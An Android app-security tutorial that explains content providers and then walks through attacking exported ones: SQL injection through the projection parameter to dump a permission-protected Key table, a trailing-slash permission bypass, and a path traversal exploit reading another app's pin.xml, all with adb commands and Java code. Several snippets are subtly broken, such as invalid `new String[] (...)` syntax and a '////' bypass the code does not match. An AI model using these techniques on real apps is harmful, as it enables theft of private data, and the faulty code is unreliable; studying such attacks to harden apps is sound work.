Content Provider

📌What is a content provider?

  • An Android Content Provider is a fundamental component of the Android operating system that enables different applications to share data with each other.

  • It acts as an interface that allows one application to securely expose its data to other applications, facilitating controlled and standardized access to the data.

  • Content providers are commonly used to manage structured data, such as databases, and consistently make that data available to other applications.

  • They enforce data security and provide a structured way for apps to CRUD data.

    <provider
            android:name=".BookContentProvider"
            android:authorities="com.example.myapp.provider"
            android:exported="true"
            android:readPermission="com.example.myapp.READ_BOOKS"
            android:writePermission="com.example.myapp.WRITE_BOOKS"/>

📍Key features of Android Content Providers

  1. Data Sharing: Content providers enable apps to share data without exposing the underlying database or implementation details.

  2. Data Isolation: Content providers allow apps to define the level of access other apps have to their data. Access can be restricted to read-only, write-only, or both.

  3. URI-Based Access: Data in a content provider is accessed using Uniform Resource Identifiers (URIs), which are similar to URLs and uniquely identify a resource within the content provider.

  4. CRUD Operations: Content providers support basic CRUD (Create, Read, Update, Delete) operations for data management.

  5. Data Types: Content providers can work with various types of data, including files, images, videos, and structured data stored in databases.

  6. Permission Control: Apps that want to access data from a content provider must request the necessary permissions. This helps maintain security and control over data access.

📍Common use cases for content providers include

  • Contacts Data: Android's built-in Contacts app uses a content provider to manage and share contact information.

  • Media Files: Content providers are often used to manage media files like images, videos, and audio files, making them accessible to other apps.

  • SQLite Databases: Apps often use content providers to expose their SQLite databases for querying and manipulation.

📍Content Resolver and Content Provider

  • Content Provider: A content provider is created within the app that owns the database, allowing other apps to access this database.

  • Content Resolver: Any app wanting to access the database must use a content resolver to interact with the content provider.

  • The Content Resolver communicates with the Content Provider using specific methods.

  • The Content Resolver includes methods you can use for database queries and transactions. These methods correspond to those provided by the content provider:

    • query()

    • insert()

    • delete()

    • update()

📍Security and Access Control

  • Permissions: Implement permissions to control who can access the data.

  • Exported vs. Non-Exported: Determined in the Android manifest, controlling external app access to the content provider.

📌How to access data?

  • A URI is used to uniquely identify and access a specific resource within a content provider. It points to a particular data resource within an app's content provider.

  • Here's the breakdown of a Content Provider URI:

    content://authority/path
    • content://: This scheme indicates that you're using a Content Provider URI.

    • authority: This is the unique identifier for the content provider, usually the package name of the app that owns it.

    • path: This part of the URI specifies the path to the specific resource you want to access within the content provider.

  • Database Content Provider:

In this example, we have a contacts database, and we are selecting the second entry from it.

📌How to access content providers?

📍Using adb shell

  • The Activity Manager (am) has a content provider, but this is not typically the best method for hackers.

  • For example, to query this URI (content://com.android.contacts/1):

    adb shell content query --uri content://com.android.contacts/1

📍Use your own app

  • Using your application, you can define a content resolver to query data from other applications through their content providers.

  • How is this process done?

    • In your app, the content resolver sends a request to the content provider to retrieve the data.

    • If you have the necessary permissions and the provider is exported, the other app's content provider will return a cursor, which is a pointer to the requested data.

    • Now, the content resolver can use the available methods (query, insert, update, delete) to interact with the database.

    • Note: When working with custom content providers, the associated databases are stored in the /data/data directory.

  • Using a content resolver in your app to query data from another app:

    // Define the URI to the data you want to access
    Uri contentUri = Uri.parse("content://com.example.otherapp.provider/data");
    
    // Specify the columns you want to retrieve
    String[] projection = {"column_name_1", "column_name_2"};
    
    // Make the query using ContentResolver
    Cursor cursor = getContentResolver().query(contentUri, projection, null, null, null);
    
    if (cursor != null) {
        while (cursor.moveToNext()) {
            // Retrieve data from cursor
            String value1 = cursor.getString(cursor.getColumnIndex("column_name_1"));
            String value2 = cursor.getString(cursor.getColumnIndex("column_name_2"));
            // Do something with the data
        }
        cursor.close();
    }

In the code above, the parameters are transformed into this SQL query:

select column_name_1,column_name_2 from "content://com.example.otherapp.provider/data"
  • The query method parameters (query(contentUri, projection, null, null, null)) are ultimately transformed into a single SQL query, as shown below.

selection, selectionArgs, and sortOrder are optional filters for more complex queries. Here, they are null, meaning no additional filters are applied.


📌Hacking Content Provider

  • Testing

    1. Check AndroidManifest.xml for android:exported="true".

      <provider android:exported="true" android:name=".MyContentProvider" />
    2. Analyze Methods in Java Code:

      • You need to inspect how the Content Provider implements:

        • query, insert, update, and delete for proper input sanitization.

        • These methods often take user input (where, selectionArgs) and build SQL queries.

      • Check file-handling methods like openFile() for unvalidated URIs.

    3. Identify Table Names

      • Search for content:// references in code to locate tables exposed via the Content Provider.

      • When you find something like:

        content://com.example.app.provider/secrettable
      • You can then try to query it.

    4. Inspect URI handling logic for traversal issues.

      • If the app poorly validates the Uri objects passed into openFile(), or query(), then you could:

        • Read arbitrary files

        • Access data you shouldn’t

    5. Use this command (adb shell content query --uri URI) to display rows of data from the content provider's database that are accessible via the given URI.

    6. If it works without permission errors ➔ Vulnerable!

Hacking content providers using SQLI

📍Using adb shell

  • ADB allows you to interact directly with content providers through the content command, which can be used to perform CRUD operations.

  • In this example, we’re accessing data from the key table, which is protected by custom user permission.

    query{
    **Uri**,          content://com.example.app/keys
    **projection**,   **payload**
    selection     null
    }
    
    //***Our SQL Syntax will be:***	
    											SELECT **projection** FROM **Uri;**
  • So how can we circumvent this custom user permission using SQL Injection?

  • Let's imagine we have another table called "Passwords" that doesn't require permissions. We could manipulate the query by modifying the projection, moving it to the end, and commenting out the rest. This might look like:

    query{
    Uri,          content://com.example.app/Passwords
    projection,   "* FROM Key--"
    selection     null
    }
    
    //Our SQL Syntax will be:		
    	SELECT * FROM key;-- FROM Passwords;
  • The commands would be:

    • adb shell

    • content query --uri content://com.example.app/Passwords --projection "* FROM Key--"

When attempting SQLI, the injected syntax must align with SQL rules. This means the injection needs to fit within the context of the original query structure to avoid errors.

This attack relies on having partial access to the database. However, most developers restrict direct access to the database entirely, reducing the risk.

📍Use your own app

  • Using your own application, you can define a content resolver to query data from other applications through their content providers.

    Uri contentUri = Uri.parse("content://com.example.otherapp.provider/data");
    Cursor queryCursor = getContentResolver().query(contentUri, null, null, null, null);
    
    System.out.println("cursor" + DatabaseUtils.dumpCursorToString(queryCursor));
  • If your app targets Android 11 (API level 30) or higher, this code may return null. Why?

    • Because you need to make your application visible to the target application.

    • To solve this, use the <queries> element in the AndroidManifest.xml file:

      <queries>
              <package android:name="com.example.sieve" />
      </queries>

📌If there are custom permissions, how can we bypass them?

<permission android:label="Allows reading of the Key in Sieve" android:name="com.mwr.example.sieve.READ_KEYS" android:protectionLevel="dangerous"/>
<permission android:label="Allows editing of the Key in Sieve" android:name="com.mwr.example.sieve.WRITE_KEYS" android:protectionLevel="dangerous"/>
  • First attempt:

    • Simply adding //// at the end of our content URI may bypass the restriction because of the missing regex validation for the path:

      Uri contentUri = Uri.parse("content://com.example.otherapp.provider/keys/");
      Cursor queryCursor = getContentResolver().query(contentUri, null, null, null, null);
      
      System.out.println("cursor" + DatabaseUtils.dumpCursorToString(queryCursor));
  • Second attempt (SQLI):

    • Steps

      • We need to query the Passwords table to insert our own SQL statement.

      • The SQL statement will be injected via the projection parameter.

      • The SQL syntax looks like SELECT * FROM passwords WHERE....

      • Projection ⇒ SELECT * FROM key--; FROM Passwords WHERE....

    • Code

      Uri contentUri = Uri.parse("content://com.example.otherapp.provider/Passwords");
      String[] projection = new String[] ("* FROM Key--;");
      Cursor queryCursor = getContentResolver().query(contentUri, projection, null, null, null);
      
      System.out.println("cursor" + DatabaseUtils.dumpCursorToString(queryCursor));
  • Third attempt:

    • Access the protected table (Key) using the permissions declared in the AndroidManifest.xml file.

    • Steps

      • Define the permissions in our AndroidManifest.xml file.

      • Request these permissions during runtime.

    • Code

      • In the AndroidManifest.xml file:

        <uses-permission android:name="com.mwr.example.sieve.READ_KEYS" android:protectionLevel="dangerous"/>
        <uses-permission android:label="@string/name" android:name="com.mwr.example.sieve.WRITE_KEYS" android:protectionLevel="dangerous"/>
      • In MainActivity.java:

        String[] permission = new String[] ("perm_name");
        ActivityCompat.requestPermissions(activity: this, permission, requestCode: 9001)
        Uri contentUri = Uri.parse("content://com.example.otherapp.provider/Keys");
        String[] projection = new String[] ("*");
        Cursor queryCursor = getContentResolver().query(contentUri, projection, null, null, null);
        
        System.out.println("cursor" + DatabaseUtils.dumpCursorToString(queryCursor));

Hacking content providers using Path Traversal

As you know, content providers don’t only work with databases—they can also handle different types of files.

  • Steps to Identify:

    1. Check Exported Providers: Ensure the Content Provider is exported.

    2. ParcelFileDescriptor and openFile Method: When a content provider uses ParcelFileDescriptor to open files (typically in the openFile method), ensure that the URI input is validated.

    3. Unfiltered URI

    4. Then you've got path traversal vulnerability

📌An Example:

We have a music app with an exported content provider in this example.

If we use our own app's content resolver to request an mp3 file, the music file will play, as shown below:

This might seem nice, right?

But what if we could somehow request access to a critical internal file? Would that still be safe?

For instance, if we query the URI for the file pin.xml by stepping back in the directory path (using ../) and adding the path of the file (../../../../../shared_prefs/pin.xml), the app's content provider might return the content of this critical file.

📍Use your own app

public class MainActivity extends AppCompatActivity {

    InputStream inputStream;
    TextView textView;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        textView = (TextView) findViewById(R.id.textView);

        Uri uri = Uri.parse("content://com.apphacking.musicplayer/../../../../../../../data/data/com.apphacking.musicplayer/shared_prefs/pin.xml");

        try {
            inputStream = getContentResolver().openInputStream(uri);
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        }

        InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
        BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
        String fileInput = "";

        try {

            while (bufferedReader.ready()) {
                fileInput += bufferedReader.readLine();
                fileInput += "\n";
            }

        } catch (IOException e) {
                e.printStackTrace();
            }

        textView.setText("Accessing mySecretFile: \n" + fileInput);

    }
}

💡If the content provider is not exported, this entire approach becomes ineffective because you won’t be able to interact with it at all.


Last updated